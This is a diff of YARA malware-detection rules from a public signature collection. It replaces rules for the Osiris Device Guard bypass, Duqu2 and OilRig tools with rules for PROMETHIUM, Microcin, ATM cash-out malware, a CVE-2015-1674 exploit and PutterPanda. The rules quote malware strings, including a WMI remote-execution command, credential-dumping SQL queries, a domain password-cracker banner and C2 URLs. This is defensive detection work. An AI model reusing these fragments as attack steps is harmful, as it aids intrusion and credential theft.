+rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_6 : FILE
 {
 	meta:
-		description = "Osiris Device Guard Bypass - file Invoke-OSiRis.ps1"
+		description = "Detects PROMETHIUM and NEODYMIUM malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b9f4e5dd-2366-5898-9f46-17584139469f"
-		date = "2017-03-27"
+		id = "0f36eb56-39d8-536c-93ff-4a2352163612"
+		date = "2016-12-14"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_ps_osiris.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c63402fe46cec3f452eb740b1b8b22475535ce867d6268d4834b46f879ff7306"
+		reference = "https://goo.gl/8abDE6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_promethium_neodymium.yar#L107-L125"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6cfccb863c3ea8f3f60520b0df03eee8e3b754699aa339fea21489d34e29f47b"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "19e4a8b07f85c3d4c396d0c4e839495c9fba9405c06a631d57af588032d2416e"
+		hash1 = "dbd8cbbaf59d19cf7566042945e36409cd090bc711e339d3f2ec652bc26d6a03"
 
 	strings:
-		$x1 = "$null = Iwmi Win32_Process -EnableA -Impers 3 -AuthenPacketprivacy -Name Create -Arg $ObfusK -Computer $Target" fullword ascii
-		$x2 = "Invoke-OSiRis" ascii
-		$x3 = "-Arg@{Name=$VarName;VariableValue=$OSiRis;UserName=$env:Username}" fullword ascii
-		$x4 = "Device Guard Bypass Command Execution" fullword ascii
-		$x5 = "-Put Payload in Win32_OSRecoveryConfiguration DebugFilePath" fullword ascii
-		$x6 = "$null = Iwmi Win32_Process -EnableA -Impers 3 -AuthenPacketprivacy -Name Create" fullword ascii
+		$s1 = "c:\\Windows\\system32\\syswindxr32.dll" fullword wide
+		$s2 = "c:\\windows\\temp\\TrueCrypt-7.2.exe" fullword wide
+		$s3 = "%s\\ssleay32.dll" fullword wide
+		$s4 = "%s\\libeay32.dll" fullword wide
+		$s5 = "%s\\fprot32.exe" fullword wide
+		$s6 = "Windows Index Services" fullword wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <7000KB and 4 of them )
 }
-rule SIGNATURE_BASE_Duqu2_Sample1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Microcin_Sample_1 : FILE
 {
 	meta:
-		description = "Detects malware - Duqu2 (cross-matches with IronTiger malware and Derusbi)"
+		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "39ba04f1-df45-5513-ab8f-12097a79cdc7"
-		date = "2016-07-02"
+		id = "96e9ac3b-a837-5909-b17b-259d54e0e7fd"
+		date = "2017-09-26"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_duqu2.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf6b60bcae2b41487ede11581c82b32e6bc912445008b1655e4f75be65cf6596"
-		score = 80
+		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_microcin.yar#L13-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e7eb967035257490db2537ba46fd1f1e378fc33f93e7f65412949e987194a9db"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6b146e3a59025d7085127b552494e8aaf76450a19c249bfed0b4c09f328e564f"
-		hash2 = "8e97c371633d285cd8fc842f4582705052a9409149ee67d97de545030787a192"
-		hash3 = "2796a119171328e91648a73d95eb297edc220e8768f4bbba5fb7237122a988fc"
-		hash4 = "5559fcc93eef38a1c22db66a3e0f9e9f026c99e741cc8b1a4980d166f2696188"
+		hash1 = "49816eefcd341d7a9c1715e1f89143862d4775ba4f9730397a1e8529f5f5e200"
+		hash2 = "a73f8f76a30ad5ab03dd503cc63de3a150e6ab75440c1060d75addceb4270f46"
+		hash3 = "9dd9bb13c2698159eb78a0ecb4e8692fd96ca4ecb50eef194fa7479cb65efb7c"
 
 	strings:
-		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
-		$s2 = "MSI.dll" fullword ascii
+		$s1 = "e Class Descriptor at (" ascii
+		$s2 = ".?AVCAntiAntiAppleFrameRealClass@@" fullword ascii
+		$s3 = ".?AVCAntiAntiAppleFrameBaseClass@@" fullword ascii
+		$s4 = ".?AVCAppleBinRealClass@@" fullword ascii
+		$s5 = ".?AVCAppleBinBaseClass@@" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and $x1) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <300KB and (4 of them or pe.imphash()=="897077ca318eaf629cfe74569f10e023"))
 }
-rule SIGNATURE_BASE_Duqu2_Sample2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Microcin_Sample_2 : FILE
 {
 	meta:
-		description = "Detects Duqu2 Malware"
+		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a32f54a3-8656-5592-ac40-17330bfca319"
-		date = "2016-07-02"
+		id = "8718ef84-be2b-55a6-a4bb-41161548a2b4"
+		date = "2017-09-26"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_duqu2.yar#L30-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6afd87d472929f56272eb6f28970f2c8be5eb08e6126287391aee1269de1100d"
-		score = 80
+		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_microcin.yar#L38-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "99feb3e1672f69c4cf41a100e9ba64421fd75c3554306a1bf1475da6f1e14ed1"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d12cd9490fd75e192ea053a05e869ed2f3f9748bf1563e6e496e7153fb4e6c98"
-		hash2 = "5ba187106567e8d036edd5ddb6763f89774c158d2a571e15d76572d8604c22a0"
-		hash3 = "6e09e1a4f56ea736ff21ad5e188845615b57e1a5168f4bdaebe7ddc634912de9"
-		hash4 = "c16410c49dc40a371be22773f420b7dd3cfd4d8205cf39909ad9a6f26f55718e"
-		hash5 = "2ecb26021d21fcef3d8bba63de0c888499110a2b78e4caa6fa07a2b27d87f71b"
-		hash6 = "2c9c3ddd4d93e687eb095444cef7668b21636b364bff55de953bdd1df40071da"
+		hash1 = "8a7d04229722539f2480270851184d75b26c375a77b468d8cbad6dbdb0c99271"
 
 	strings:
-		$s1 = "=<=Q=W=a=g=p=v=|=" fullword ascii
-		$s2 = ">#>(>.>3>=>]>d>p>" fullword ascii
+		$s2 = "[Pause]" fullword ascii
+		$s7 = "IconCache_%02d%02d%02d%02d%02d" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of ($s*)
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_Duqu2_Sample3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Microcin_Sample_3 : FILE
 {
 	meta:
-		description = "Detects Duqu2 Malware"
+		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c558445f-fbe3-57db-80f7-09a87b097921"
-		date = "2016-07-02"
+		id = "daecdfe3-e78c-55ee-83a3-3cee8cb9bb5f"
+		date = "2017-09-26"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_duqu2.yar#L52-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4adaf71a4acd8ce122af0b6f1267dc34c5190efcb4a6fa3322c1e6cf67a546a5"
-		score = 80
+		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_microcin.yar#L54-L68"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf1227460f1fc4a7bede853b0d4f15b520db870ac7ce2e6684dc195ea6322e82"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
+		hash1 = "4f74a3b67c5ed6f38f08786f1601214412249fe128f12c51525135710d681e1d"
 
 	strings:
-		$s1 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
+		$x1 = "C:\\Users\\Lenovo\\Desktop\\test\\Release\\test.pdb" fullword ascii
+		$s2 = "test, Version 1.0" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and $s1)
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_Duqu2_Sample4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Microcin_Sample_4 : FILE
 {
 	meta:
-		description = "Detects Duqu2 Malware"
+		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8c5ca68d-762c-5d2e-8d37-f58dc66bcae2"
-		date = "2016-07-02"
+		id = "8a6a0735-422a-5e91-9274-ce55f7bee5d3"
+		date = "2017-09-26"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_duqu2.yar#L68-L85"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ddecd1d7fa007b83fe6e29ac8983d02511a89a16ab2365f8086ec92a52d4bf33"
-		score = 80
+		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_microcin.yar#L70-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1293fbd1a6b440168bb1d7b250df0c8a1a7f99a7fb603a6abec7fe7ba20cf4f5"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3536df7379660d931256b3cf49be810c0d931c3957c464d75e4cba78ba3b92e3"
+		hash1 = "92c01d5af922bdaacb6b0b2dfbe29e5cc58c45cbee5133932a499561dab616b8"
 
 	strings:
-		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
-		$s2 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
-		$s3 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
-		$s4 = "ProcessUserAccounts" fullword ascii
+		$s1 = "cmd /c dir /a /s \"%s\" > \"%s\"" fullword wide
+		$s2 = "ini.dat" fullword wide
+		$s3 = "winupdata" fullword wide
+		$f1 = "%s\\(%08x%08x)%s" fullword wide
+		$f2 = "%s\\d%08x\\d%08x.db" fullword wide
+		$f3 = "%s\\u%08x\\u%08x.db" fullword wide
+		$f4 = "%s\\h%08x\\h%08x.db" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <30KB and 1 of ($x*)) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and all of ($s*) or 5 of them )
 }
-rule SIGNATURE_BASE_Duqu2_Uas : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Microcin_Sample_5 : FILE
 {
 	meta:
-		description = "Detects Duqu2 Executable based on the specific UAs in the file"
+		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d82f6351-fab0-5324-850f-dd40a172fceb"
-		date = "2016-07-02"
+		id = "cd06f9f7-0ba3-52c9-a814-be1cd53e2e42"
+		date = "2017-09-26"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_duqu2.yar#L86-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8bf27ca851c580080514dfa886c0d7c69ac114efb5dbc35ccd1e7686c3dd44b1"
-		score = 80
+		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_microcin.yar#L92-L110"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "18b9b80ad3c27f32c71197f33e5e99742662cf5cf4ed5f83d574d44ba63f8b5f"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "52fe506928b0262f10de31e783af8540b6a0b232b15749d647847488acd0e17a"
-		hash2 = "81cdbe905392155a1ba8b687a02e65d611b60aac938e470a76ef518e8cffd74d"
+		hash1 = "b9c51397e79d5a5fd37647bc4e4ee63018ac3ab9d050b02190403eb717b1366e"
 
 	strings:
-		$x1 = "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1" fullword wide
-		$x2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g" fullword wide
-		$x3 = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)" fullword wide
-		$x4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2" fullword wide
+		$x1 = "Sorry, you are not fortuante ^_^, Please try other password dictionary " fullword ascii
+		$x2 = "DomCrack <IP> <UserName> <Password_Dic file path> <option>" fullword ascii
+		$x3 = "The password is \"%s\"         Time: %d(s)" fullword ascii
+		$x4 = "The password is \" %s \"         Time: %d(s)" fullword ascii
+		$x5 = "No password found!" fullword ascii
+		$x7 = "Can not found the Password Dictoonary file! " fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <800KB and all of them )
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them ) or 2 of them
 }
-rule SIGNATURE_BASE_Chafer_Mimikatz_Custom : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Microcin_Sample_6 : FILE
 {
 	meta:
-		description = "Detects Custom Mimikatz Version"
-		author = "Florian Roth (Nextron Systems) / Markus Neis"
-		id = "80f751c3-d7ca-5ff6-a905-38650e1c4ec5"
-		date = "2018-03-22"
+		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9988723f-a7ca-598f-9a6c-9f3915732117"
+		date = "2017-09-26"
 		modified = "2023-12-05"
-		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_chafer_mar18.yar#L11-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d3b74be6d221592fb867bd9589f5e4b246a093bd276efa3515d9e948a38eda48"
+		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_microcin.yar#L112-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "280fb17b5ed5ff1c8018e426969f75e18589eabeb2a20e0e623f206e72e8958d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "9709afeb76532566ee3029ecffc76df970a60813bcac863080cc952ad512b023"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cbd43e70dc55e94140099722d7b91b07a3997722d4a539ecc4015f37ea14a26e"
+		hash2 = "871ab24fd6ae15783dd9df5010d794b6121c4316b11f30a55f23ba37eef4b87a"
 
 	strings:
-		$x1 = "C:\\Users\\win7p\\Documents\\mi-back\\" ascii
+		$s1 = "** ERROR ** %s: %s" fullword ascii
+		$s2 = "TEMPDATA" fullword wide
+		$s3 = "Bruntime error " fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <600KB and all of them )
 }
-rule SIGNATURE_BASE_Chafer_Exploit_Copyright_2017 : FILE
+rule SIGNATURE_BASE_ATM_Malware_Javadispcash_1 : FILE
 {
 	meta:
-		description = "Detects Oilrig Internet Server Extension with Copyright (C) 2017 Exploit"
-		author = "Markus Neis"
-		id = "f78ae4f5-0569-5fc8-ab25-ebe38afd9f3c"
-		date = "2018-03-22"
+		description = "Detects ATM Malware JavaDispCash"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "7aa91719-6539-572a-8618-bfb5290a5b59"
+		date = "2019-03-28"
 		modified = "2023-12-05"
-		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_chafer_mar18.yar#L25-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "53d3e735bc368de152f4f4058617bc2cc5574bc13777f743442ff2bfafe92791"
+		reference = "https://twitter.com/r3c0nst/status/1111254169623674882"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_atm_javadipcash.yar#L1-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9a714571281844cfe7193b7c183b86b797ef5de5d1922eacaf45dad8d41cfc52"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "cdac69caad8891c5e1b8eabe598c869674dee30af448ce4e801a90eb79973c66"
+		hash1 = "0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027"
+		hash2 = "ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa"
 
 	strings:
-		$x1 = "test3 Internet Server Extension" fullword wide
-		$x2 = "Copyright (C) 2017 Exploit" fullword wide
-		$a1 = "popen() failed!" fullword ascii
-		$a2 = "cmd2cmd=" fullword ascii
+		$CashInfo = "getNumberOfCashUnits" ascii wide
+		$Dispense = "waitforbillstaken" ascii wide
+		$Inject = "No code to inject!" ascii wide
+		$config = ".Agentcli" ascii wide
+		$log1 = "logft.log" ascii wide
+		$log2 = ".loginside" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or all of ($a*))
+		uint16(0)==0x4B50 and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_Chafer_Portscanner : FILE
+rule SIGNATURE_BASE_CVE_2015_1674_CNGSYS : CVE_2015_1674 FILE
 {
 	meta:
-		description = "Detects Custom Portscanner used by Oilrig"
-		author = "Markus Neis"
-		id = "8db934c3-fb0d-5c87-9096-1ee8fb16f9a5"
-		date = "2018-03-22"
+		description = "Detects exploits for CVE-2015-1674"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1161b395-a19e-5aac-8416-8a4e60aeca37"
+		date = "2015-05-14"
 		modified = "2023-12-05"
-		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_chafer_mar18.yar#L45-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6e0475a5c0fc8155359376113f88f3de080968388bd3ea60664a063540688faf"
+		reference = "http://www.binvul.com/viewthread.php?tid=508"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2015_1674.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "af4eb2a275f6bbc2bfeef656642ede9ce04fad36"
+		logic_hash = "d751ef739a6fb8b0871f92cb4aba21544f444944710407c723f0452dc3b85522"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "88274a68a6e07bdc53171641e7349d6d0c71670bd347f11dcc83306fe06656e9"
+		tags = "CVE-2015-1674, FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "C:\\Users\\RS01204N\\Documents\\" ascii
-		$x2 = "PortScanner /ip:google.com  /port:80 /t:500 /tout:2" fullword ascii
-		$x3 = "open ports of host/hosts" fullword ascii
+		$s1 = "\\Device\\CNG" wide
+		$s2 = "GetProcAddress" fullword ascii
+		$s3 = "LoadLibrary" ascii
+		$s4 = "KERNEL32.dll" fullword ascii
+		$s5 = "ntdll.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <60KB and all of them
 }
-rule SIGNATURE_BASE_Oilrig_Myrtille : FILE
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_Rel : FILE
 {
 	meta:
-		description = "Detects Oilrig Myrtille RDP Browser"
-		author = "Markus Neis"
-		id = "e742ab0c-0e21-569e-a100-e5082dc1d372"
-		date = "2018-03-22"
-		modified = "2022-12-21"
-		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_chafer_mar18.yar#L61-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "373115c0a3fbfe93435aca07cbac52c7649a77d8b7d6eda8af5ce4a1a42e53a6"
-		score = 75
+		description = "Detects an APT malware related to PutterPanda"
+		author = "Florian Roth (Nextron Systems)"
+		id = "980922cb-edfb-50ab-a102-a8168aa2b0e0"
+		date = "2015-06-03"
+		modified = "2023-12-05"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L1-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5367e183df155e3133d916f7080ef973f7741d34"
+		logic_hash = "f2ffab73993c578f47e17babc2e65301b3720e438b33e57f2af31b7183bfd20f"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "67945f2e65a4a53e2339bd361652c6663fe25060888f18e681418e313d1292ca"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "\\obj\\Release\\Myrtille.Services.pdb" ascii
-		$x2 = "Failed to notify rdp client process exit (MyrtilleAppPool down?), remote session {0} ({1})" fullword wide
-		$x3 = "Started rdp client process, remote session {0}" fullword wide
+		$x0 = "app.stream-media.net" fullword ascii
+		$x1 = "File %s does'nt exist or is forbidden to acess!" fullword ascii
+		$s6 = "GetProcessAddresss of pHttpQueryInfoA Failed!" fullword ascii
+		$s7 = "Connect %s error!" fullword ascii
+		$s9 = "Download file %s successfully!" fullword ascii
+		$s10 = "index.tmp" fullword ascii
+		$s11 = "Execute PE Successfully" fullword ascii
+		$s13 = "aa/22/success.xml" fullword ascii
+		$s16 = "aa/22/index.asp" fullword ascii
+		$s18 = "File %s a Non-Pe File" fullword ascii
+		$s19 = "SendRequset error!" fullword ascii
+		$s20 = "filelist[%d]=%s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and 1 of them
+		( uint16(0)==0x5a4d and 1 of ($x*)) or (4 of ($s*))
 }
-rule SIGNATURE_BASE_Chafer_Packed_Mimikatz : FILE
+rule SIGNATURE_BASE_APT_Malware_Putterpanda_Rel_2 : FILE
 {
 	meta:
-		description = "Detects Oilrig Packed Mimikatz also detected as Chafer_WSC_x64 by FR"
-		author = "Florian Roth (Nextron Systems) / Markus Neis"
-		id = "abd34c6a-7d99-5f52-be8e-a7d634d61255"
-		date = "2018-03-22"
+		description = "APT Malware related to PutterPanda Group"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3eef8869-45d6-57a4-a182-c5349b034cf4"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_oilrig_chafer_mar18.yar#L78-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0cee5270c9b76f1419c6989113dca221c5ba6f027a104d71f61d38cb59af51cd"
-		score = 75
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_putterpanda.yar#L30-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f97e01ee04970d1fc4d988a9e9f0f223ef2a6381"
+		logic_hash = "60a48288cb106135728fb676ecad2b9be5254d5dc5094da158ea9dc07704c9ab"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "5f2c3b5a08bda50cca6385ba7d84875973843885efebaff6a482a38b3cb23a7c"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Windows Security Credentials" fullword wide
-		$s2 = "Minisoft" fullword wide
-		$x1 = "Copyright (c) 2014 - 2015 Minisoft" fullword wide
+		$s0 = "http://update.konamidata.com/test/zl/sophos/td/result/rz.dat?" fullword ascii
+		$s1 = "http://update.konamidata.com/test/zl/sophos/td/index.dat?" fullword ascii
+		$s2 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii
+		$s3 = "Internet connect error:%d" fullword ascii
+		$s4 = "Proxy-Authorization:Basic" fullword ascii
+		$s5 = "HttpQueryInfo failed:%d" fullword ascii
+		$s6 = "read file error:%d" fullword ascii
+		$s7 = "downdll.dll" fullword ascii
+		$s8 = "rz.dat" fullword ascii
+		$s9 = "Invalid url" fullword ascii
+		$s10 = "Create file failed" fullword ascii
